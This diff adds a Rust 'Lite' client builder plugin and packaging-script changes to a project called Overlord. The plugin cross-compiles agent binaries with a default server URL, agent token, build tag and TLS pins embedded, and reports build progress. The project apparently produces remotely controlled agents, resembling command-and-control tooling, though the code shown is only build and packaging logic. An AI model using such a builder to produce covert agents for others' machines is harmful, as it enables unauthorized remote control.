+  if (exitCode !== 0) throw new Error(stderr.trim() || `${command[0]} exited with ${exitCode}`);
+  return stdout.trim();
+}
+
+async function streamPipe(stream, onLine) {
+  const reader = stream.getReader();
+  const decoder = new TextDecoder();
+  let pending = "";
+  while (true) {
+    const { done, value } = await reader.read();
+    pending += decoder.decode(value || new Uint8Array(), { stream: !done });
+    const lines = pending.split(/\r?\n/);
+    pending = lines.pop() || "";
+    for (const line of lines) if (line.trim()) onLine(line);
+    if (done) break;
+  }
+  if (pending.trim()) onLine(pending);
+}
+
+function packageVersion(sourceDir) {
+  const cargo = fs.readFileSync(path.join(sourceDir, "Cargo.toml"), "utf8");
+  return cargo.match(/^version\s*=\s*"([^"]+)"/m)?.[1] || "unknown";
+}
+
+function formatDuration(milliseconds) {
+  const seconds = Math.max(0, Math.round(milliseconds / 1000));
+  if (seconds < 60) return `${seconds}s`;
+  const minutes = Math.floor(seconds / 60);
+  const remainingSeconds = seconds % 60;
+  if (minutes < 60) return remainingSeconds ? `${minutes}m ${remainingSeconds}s` : `${minutes}m`;
+  const hours = Math.floor(minutes / 60);
+  const remainingMinutes = minutes % 60;
+  return remainingMinutes ? `${hours}h ${remainingMinutes}m` : `${hours}h`;
+}
+
+async function estimatePackageCount(sourceDir, target, locked) {
+  const args = [
+    "cargo",
+    "tree",
+    "--target",
+    target,
+    "--prefix",
+    "none",
+    "--format",
+    "{p}",
+  ];
+  if (locked) args.push("--locked");
+  const output = await capture(args, sourceDir);
+  const packages = new Set(
+    output
+      .split(/\r?\n/)
+      .map((line) => line.replace(/ \(\*\)$/, "").replace(/ \(proc-macro\)$/, "").trim())
+      .filter(Boolean),
+  );
+  return packages.size;
+}
+
+function readBuildHistory(dataDir) {
+  try {
+    const parsed = JSON.parse(fs.readFileSync(path.join(dataDir, "build-history.json"), "utf8"));
+    return parsed && typeof parsed === "object" ? parsed : {};
+  } catch {
+    return {};
+  }
+}
+
+function recordBuildDuration(dataDir, target, durationMs) {
+  const historyPath = path.join(dataDir, "build-history.json");
+  const history = readBuildHistory(dataDir);
+  const previous = Number(history[target]?.durationMs);
+  const samples = Math.max(0, Number(history[target]?.samples) || 0) + 1;
+  history[target] = {
+    durationMs: Number.isFinite(previous)
+      ? Math.round(previous * 0.6 + durationMs * 0.4)
+      : Math.round(durationMs),
+    samples,
+    updatedAt: Date.now(),
+  };
+  try {
+    fs.writeFileSync(historyPath, JSON.stringify(history, null, 2));
+  } catch {
+    // Progress history is optional; a read-only data directory must not fail the build.
+  }
+}
+
+function createTargetProgress(ctx, options) {
+  const DEFAULT_LINK_BUDGET_MS = 35_000;
+  const startedAt = Date.now();
+  const packageStates = new Map();
+  let linking = false;
+  let linkingStartedAt = null;
+  let finalizing = false;
+  let finished = false;
+  let lastStatusAt = 0;
+  let lastLoggedBucket = -1;
+
+  function snapshot() {
+    const elapsedMs = Date.now() - startedAt;
+    const completedPackages = packageStates.size;
+    const freshPackages = Array.from(packageStates.values()).filter(Boolean).length;
+    const packageRatio = options.estimatedPackages > 0
+      ? Math.min(1, completedPackages / options.estimatedPackages)
+      : 0;
+    const historicalDurationMs = Number.isFinite(options.historicalDurationMs)
+      ? options.historicalDurationMs
+      : null;
+    const linkBudgetMs = historicalDurationMs === null
+      ? DEFAULT_LINK_BUDGET_MS
+      : Math.max(10_000, historicalDurationMs * 0.4);
+    const linkingElapsedMs = linkingStartedAt === null ? 0 : Date.now() - linkingStartedAt;
+    let targetRatio = Math.min(0.7, packageRatio * 0.7);
+    if (linking) {
+      const estimatedLinkRatio = Math.min(0.95, linkingElapsedMs / linkBudgetMs);
+      targetRatio = Math.max(targetRatio, 0.7 + estimatedLinkRatio * 0.28);
+    }
+    if (finalizing) targetRatio = Math.max(targetRatio, 0.98);
+    if (finished) targetRatio = 1;
+    const overallRatio = (options.targetIndex + targetRatio) / options.targetCount;
+
+    let predictedTargetMs = null;
+    if (historicalDurationMs !== null && historicalDurationMs > 0) {
+      predictedTargetMs = Math.max(elapsedMs, historicalDurationMs);
+    }
+    if (linking && historicalDurationMs === null) {
+      predictedTargetMs = elapsedMs + Math.max(5_000, linkBudgetMs - linkingElapsedMs);
+    } else if (!linking && elapsedMs >= 5_000 && packageRatio >= 0.05) {
+      const rollingPrediction = elapsedMs / packageRatio + linkBudgetMs;
+      predictedTargetMs = predictedTargetMs === null
+        ? rollingPrediction
+        : predictedTargetMs * 0.65 + rollingPrediction * 0.35;
+    }
+    const etaMs = predictedTargetMs === null || finished
+      ? null
+      : Math.max(
+          0,
+          predictedTargetMs - elapsedMs +
+            (options.targetCount - options.targetIndex - 1) * predictedTargetMs,
+        );
+
+    return {
+      elapsedMs,
+      completedPackages,
+      freshPackages,
+      targetRatio,
+      overallRatio,
+      etaMs,
+    };
+  }
+
+  function emit(force = false) {
+    const now = Date.now();
+    if (!force && now - lastStatusAt < 1_500) return;
+    lastStatusAt = now;
+    const state = snapshot();
+    const targetPercent = Math.round(state.targetRatio * 100);
+    const overallPercent = Math.round(state.overallRatio * 100);
+    const phase = finalizing
+      ? "finalizing artifact"
+      : linking
+        ? "linking + LTO"
+        : "compiling";
+    const pieces = [
+      `Rust Lite ${options.platform} (${options.targetIndex + 1}/${options.targetCount})`,
+      `${overallPercent}% overall`,
+      `${targetPercent}% target`,
+      phase,
+    ];
+    if (options.estimatedPackages > 0) {
+      pieces.push(`${state.completedPackages}/${options.estimatedPackages} crates`);
+    }
+    pieces.push(`${formatDuration(state.elapsedMs)} elapsed`);
+    if (state.etaMs !== null && state.etaMs >= 1_000) {
+      pieces.push(`ETA ~${formatDuration(state.etaMs)}`);
+    }
+    const text = pieces.join(" • ");
+    ctx.build.status(
+      text,
+      Math.min(100, state.overallRatio * 100),
+      state.etaMs === null ? undefined : Math.ceil(state.etaMs / 1000),
+    );
+
+    const bucket = Math.floor(overallPercent / 10);
+    if (bucket > lastLoggedBucket && overallPercent > 0) {
+      lastLoggedBucket = bucket;
+      ctx.build.output(`Progress: ${text}`);
+    }
+  }
+
+  return {
+    startedAt,
+    noteArtifact(packageId, fresh) {
+      const previous = packageStates.get(packageId);
+      packageStates.set(packageId, previous === false ? false : fresh === true);
+      emit();
+    },
+    markLinking() {
+      linking = true;
+      linkingStartedAt ??= Date.now();
+      emit(true);
+    },
+    markFinalizing() {
+      finalizing = true;
+      emit(true);
+    },
+    markFinished() {
+      finished = true;
+      emit(true);
+      return snapshot();
+    },
+    emit,
+  };
+}
+
+export default {
+  setup(ctx) {
+    ctx.log.info("Rust Lite build provider ready");
+  },
+
+  async onBuild(ctx, payload) {
+    const sourceDir = findSource(String(payload.runtimeRoot || ""));
+    const outputDir = path.resolve(String(payload.outputDir || ""));
+    const targetDir = path.join(ctx.dataDir, "cargo-target");
+    const platforms = Array.isArray(payload.platforms) ? payload.platforms : [];
+    if (platforms.length === 0) throw new Error("No Rust Lite platforms were requested");
+    fs.mkdirSync(outputDir, { recursive: true });
+    fs.mkdirSync(targetDir, { recursive: true });
+
+    const cargoVersion = await capture(["cargo", "--version"], sourceDir);
+    ctx.build.output(`Using ${cargoVersion}`);
+    ctx.build.output(`Rust Lite source: ${sourceDir}`);
+    const settings = payload.settings && typeof payload.settings === "object" ? payload.settings : {};
+    const tlsSpkiPins = Array.isArray(payload.tlsSpkiPins)
+      ? payload.tlsSpkiPins.map(String).filter(Boolean)
+      : [];
+    if (tlsSpkiPins.length > 0) {
+      ctx.build.output(
+        `TLS identity pinning: enabled (${tlsSpkiPins.length} trusted key${tlsSpkiPins.length === 1 ? "" : "s"})`,
+      );
+    } else {
+      ctx.build.output("WARNING: No TLS SPKI pin is available for this build", "warn");
+    }
+    const requestedJobs = Math.trunc(Number(settings.jobs));
+    const jobs = Number.isFinite(requestedJobs) && requestedJobs > 0
+      ? Math.max(1, Math.min(32, requestedJobs))
+      : null;
+    const version = packageVersion(sourceDir);
+    const artifacts = [];
+
+    const history = readBuildHistory(ctx.dataDir);
+    for (const [targetIndex, platform] of platforms.entries()) {
+      const target = rustTarget(platform);
+      const locked = settings.locked !== false;
+      let estimatedPackages = 0;
+      try {
+        estimatedPackages = await estimatePackageCount(sourceDir, target, locked);
+      } catch (error) {
+        ctx.build.output(`Package-count estimate unavailable: ${error?.message || error}`, "warn");
+      }
+      const progress = createTargetProgress(ctx, {
+        platform,
+        targetIndex,
+        targetCount: platforms.length,
+        estimatedPackages,
+        historicalDurationMs: Number(history[target]?.durationMs) || null,
+      });
+      progress.emit(true);
+      ctx.build.output(`\n=== Rust Lite ${platform} (${target}) ===`);
+      ctx.build.output(
+        `Release profile: opt-level=z, LTO, 1 codegen unit, stripped symbols, panic=abort`,
+      );
+      ctx.build.output(`Cargo jobs: ${jobs === null ? "automatic (host CPU count)" : jobs}`);
+      if (estimatedPackages > 0) ctx.build.output(`Estimated dependency graph: ${estimatedPackages} crates`);
+      const args = [
+        "cargo",
+        "build",
+        "--release",
+        "--target",
+        target,
+        "--message-format=json-render-diagnostics",
+      ];
+      if (jobs !== null) args.push("--jobs", String(jobs));
+      if (locked) args.push("--locked");
+      const env = {
+        ...process.env,
+        CARGO_TARGET_DIR: targetDir,
+        OVERLORD_LITE_DEFAULT_SERVER: String(payload.serverUrl || ""),
+        OVERLORD_LITE_DEFAULT_AGENT_TOKEN: String(payload.agentToken || ""),
+        OVERLORD_LITE_DEFAULT_BUILD_TAG: String(payload.buildTag || ""),
+        OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS: tlsSpkiPins.join(","),
+      };
+      const proc = Bun.spawn(args, {
+        cwd: sourceDir,
+        env,
+        stdin: "ignore",
+        stdout: "pipe",
+        stderr: "pipe",
+      });
+      const progressTimer = setInterval(() => progress.emit(), 2_000);
+      let exitCode;
+      try {
+        await Promise.all([
+          streamPipe(proc.stdout, (line) => {
+            let message;
+            try {
+              message = JSON.parse(line);
+            } catch {
+              ctx.build.output(line, "info");
+              return;
+            }
+            if (message.reason === "compiler-artifact" && typeof message.package_id === "string") {
+              progress.noteArtifact(message.package_id, message.fresh === true);
+            } else if (message.reason === "compiler-message" && message.message?.rendered) {
+              const level = message.message.level === "error"
+                ? "error"
+                : message.message.level === "warning"
+                  ? "warn"
+                  : "info";
+              ctx.build.output(String(message.message.rendered).trimEnd(), level);
+            }
+          }),
+          streamPipe(proc.stderr, (line) => {
+            if (/^\s*Compiling\s+overlord-lite\b/i.test(line)) progress.markLinking();
+            ctx.build.output(line, /^\s*error(?:\[|:)/i.test(line) ? "error" : "info");
+          }),
+        ]);
+        exitCode = await proc.exited;
+      } finally {
+        clearInterval(progressTimer);
+      }
+      if (exitCode !== 0) {
+        throw new Error(
+          `Cargo failed for ${platform} (exit ${exitCode}). Install the ${target} Rust target and its required cross-linker.`,
+        );
+      }
+
+      progress.markFinalizing();
+      const extension = TARGETS[platform].extension;
+      const builtPath = path.join(targetDir, target, "release", `overlord-lite${extension}`);
+      if (!fs.existsSync(builtPath)) throw new Error(`Cargo did not create ${builtPath}`);
+      const baseName = String(payload.outputName || "overlord-lite").replace(/[^A-Za-z0-9._-]/g, "") || "overlord-lite";
+      const filename = `${baseName}-${platform}${extension}`;
+      fs.copyFileSync(builtPath, path.join(outputDir, filename));
+      artifacts.push({
+        name: `Overlord Lite ${platform}`,
+        filename,
+        platform,
+        version,
+      });
+      const completed = progress.markFinished();
+      recordBuildDuration(ctx.dataDir, target, completed.elapsedMs);
+      const compiledPackages = Math.max(0, completed.completedPackages - completed.freshPackages);
+      ctx.build.output(
+        `Completed ${platform} in ${formatDuration(completed.elapsedMs)} ` +
+          `(${completed.freshPackages} cached, ${compiledPackages} compiled crates)`,
+        "success",
+      );
+      ctx.build.output(`Artifact ready: ${filename}`, "success");
+    }
+
+    return { artifacts };
+  },
+
+  rpc: {
+    async status(_ctx, _params) {
+      let cargo = null;
+      try {
+        cargo = await capture(["cargo", "--version"], process.cwd());
+      } catch (error) {
+        cargo = `Unavailable: ${error?.message || error}`;
+      }
+      return {
+        cargo,
+        host: `${process.platform}-${process.arch}`,
+        note: "Cross-target builds require the corresponding rustup target and linker.",
+      };
+    },
+  },
+};

scripts/build-prod-package.bat

@@ -4,6 +4,8 @@ set "SCRIPT_DIR=%~dp0"
 for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
 set "SERVER_SRC=%ROOT%Overlord-Server"
 set "CLIENT_SRC=%ROOT%Overlord-Client"
+set "LITE_SRC=%ROOT%Overlord-Lite"
+set "LITE_PLUGIN_SRC=%ROOT%plugins\rust-lite-builder"
 set "RELEASE_DIR=%ROOT%release"
 
 if not exist "%SERVER_SRC%\package.json" (
@@ -16,6 +18,16 @@ if not exist "%CLIENT_SRC%\go.mod" (
   exit /b 1
 )
 
+if not exist "%LITE_SRC%\Cargo.toml" (
+  echo [error] Overlord-Lite not found at: %LITE_SRC%
+  exit /b 1
+)
+
+if not exist "%LITE_PLUGIN_SRC%\config.json" (
+  echo [error] Rust Lite Builder plugin not found at: %LITE_PLUGIN_SRC%
+  exit /b 1
+)
+
 where bun >nul 2>&1
 if errorlevel 1 (
   echo [error] bun was not found in PATH.
@@ -28,34 +40,34 @@ if errorlevel 1 (
   exit /b 1
 )
 
-echo [1/10] Building server bundle and web assets...
+echo [1/11] Building server bundle and web assets...
 pushd "%SERVER_SRC%"
 call bun install
 if errorlevel 1 goto :err
 call bun run build
 if errorlevel 1 goto :err
-echo [2/10] Compiling Windows production executable...
+echo [2/11] Compiling Windows production executable...
 call bun run build:prod:win
 if errorlevel 1 goto :err
-echo [3/10] Compiling Linux production executable...
+echo [3/11] Compiling Linux production executable...
 call bun run build:prod:linux
 if errorlevel 1 goto :err
 popd
 
-echo [4/10] Skipping prebuilt client binaries ^(prod package exports client source only^)
+echo [4/11] Skipping prebuilt client binaries ^(prod package exports client source only^)
 
-echo [5/10] Preparing release folder...
+echo [5/11] Preparing release folder...
 if exist "%RELEASE_DIR%" rmdir /s /q "%RELEASE_DIR%"
 mkdir "%RELEASE_DIR%"
 if errorlevel 1 goto :err
 
-echo [6/10] Copying compiled server executables...
+echo [6/11] Copying compiled server executables...
 copy /Y "%SERVER_SRC%\dist\overlord-server.exe" "%RELEASE_DIR%\overlord-server.exe" >nul
 if errorlevel 1 goto :err
 copy /Y "%SERVER_SRC%\dist\overlord-server-linux-x64" "%RELEASE_DIR%\overlord-server-linux-x64" >nul
 if errorlevel 1 goto :err
 
-echo [6b/10] Copying sharp native module for runtime resolution...
+echo [6b/11] Copying sharp native module for runtime resolution...
 if exist "%SERVER_SRC%\node_modules\sharp" (
   robocopy "%SERVER_SRC%\node_modules\sharp" "%RELEASE_DIR%\node_modules\sharp" /E >nul
   if errorlevel 8 goto :robocopy_err
@@ -65,21 +77,27 @@ if exist "%SERVER_SRC%\node_modules\@img" (
   if errorlevel 8 goto :robocopy_err
 )
 
-echo [7/10] Exporting Overlord-Client source for runtime builds...
+echo [7/11] Exporting Overlord-Client source for runtime builds...
 robocopy "%CLIENT_SRC%" "%RELEASE_DIR%\Overlord-Client" /E /XD build .git .vscode >nul
 if errorlevel 8 goto :robocopy_err
 
-echo [8/10] Copying required public web assets...
+echo [8/11] Exporting Overlord-Lite source and Rust builder plugin...
+robocopy "%LITE_SRC%" "%RELEASE_DIR%\Overlord-Lite" /E /XD target .git .vscode >nul
+if errorlevel 8 goto :robocopy_err
+robocopy "%LITE_PLUGIN_SRC%" "%RELEASE_DIR%\plugins\rust-lite-builder" /E /XD data /XF rust-lite-builder.zip >nul
+if errorlevel 8 goto :robocopy_err
+
+echo [9/11] Copying required public web assets...
 robocopy "%SERVER_SRC%\public" "%RELEASE_DIR%\public" /E >nul
 if errorlevel 8 goto :robocopy_err
 
-echo [9/10] Minifying public JS, CSS, and HTML assets...
+echo [10/11] Minifying public JS, CSS, and HTML assets...
 pushd "%SERVER_SRC%"
 call bun run scripts/minify-public.ts --dir "%RELEASE_DIR%\public"
 if errorlevel 1 goto :err
 popd
 
-echo [10/10] Creating runner scripts...
+echo [11/11] Creating runner scripts...
 
 (
   echo @echo off

scripts/build-prod-package.sh

@@ -5,6 +5,8 @@ SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
 ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
 SERVER_SRC="$ROOT/Overlord-Server"
 CLIENT_SRC="$ROOT/Overlord-Client"
+LITE_SRC="$ROOT/Overlord-Lite"
+LITE_PLUGIN_SRC="$ROOT/plugins/rust-lite-builder"
 DIST_CLIENTS_SRC="$ROOT/dist-clients"
 RELEASE_DIR="$ROOT/release/prod-package"
 
@@ -18,6 +20,16 @@ if [[ ! -f "$CLIENT_SRC/go.mod" ]]; then
   exit 1
 fi
 
+if [[ ! -f "$LITE_SRC/Cargo.toml" ]]; then
+  echo "[error] Overlord-Lite not found at: $LITE_SRC" >&2
+  exit 1
+fi
+
+if [[ ! -f "$LITE_PLUGIN_SRC/config.json" ]]; then
+  echo "[error] Rust Lite Builder plugin not found at: $LITE_PLUGIN_SRC" >&2
+  exit 1
+fi
+
 if ! command -v bun >/dev/null 2>&1; then
   echo "[error] bun was not found in PATH." >&2
   exit 1
@@ -49,25 +61,29 @@ copy_tree_excluding() {
   fi
 }
 
-echo "[1/5] Building server bundle..."
+echo "[1/6] Building server bundle..."
 pushd "$SERVER_SRC" >/dev/null
 bun install
 bun run build:css
 bun run build
 popd >/dev/null
 
-echo "[2/5] Skipping prebuilt client binaries (prod package exports client source only)"
+echo "[2/6] Skipping prebuilt client binaries (prod package exports client source only)"
 
-echo "[3/5] Preparing release folder..."
+echo "[3/6] Preparing release folder..."
 rm -rf "$RELEASE_DIR"
 mkdir -p "$RELEASE_DIR"
 
-echo "[4/5] Exporting Overlord-Server..."
+echo "[4/6] Exporting Overlord-Server..."
 copy_tree_excluding "$SERVER_SRC" "$RELEASE_DIR/Overlord-Server" "node_modules" ".git" ".vscode"
 
-echo "[5/5] Exporting Overlord-Client source for runtime builds..."
+echo "[5/6] Exporting Overlord-Client source for runtime builds..."
 copy_tree_excluding "$CLIENT_SRC" "$RELEASE_DIR/Overlord-Client" "build" ".git" ".vscode"
 
+echo "[6/6] Exporting Overlord-Lite source and Rust builder plugin..."
+copy_tree_excluding "$LITE_SRC" "$RELEASE_DIR/Overlord-Lite" "target" ".git" ".vscode"
+copy_tree_excluding "$LITE_PLUGIN_SRC" "$RELEASE_DIR/Overlord-Server/plugins/rust-lite-builder" "data" "rust-lite-builder.zip"
+
 if [[ -d "$DIST_CLIENTS_SRC" ]]; then
   echo "[extra] Copying prebuilt dist-clients..."
   mkdir -p "$RELEASE_DIR/dist-clients"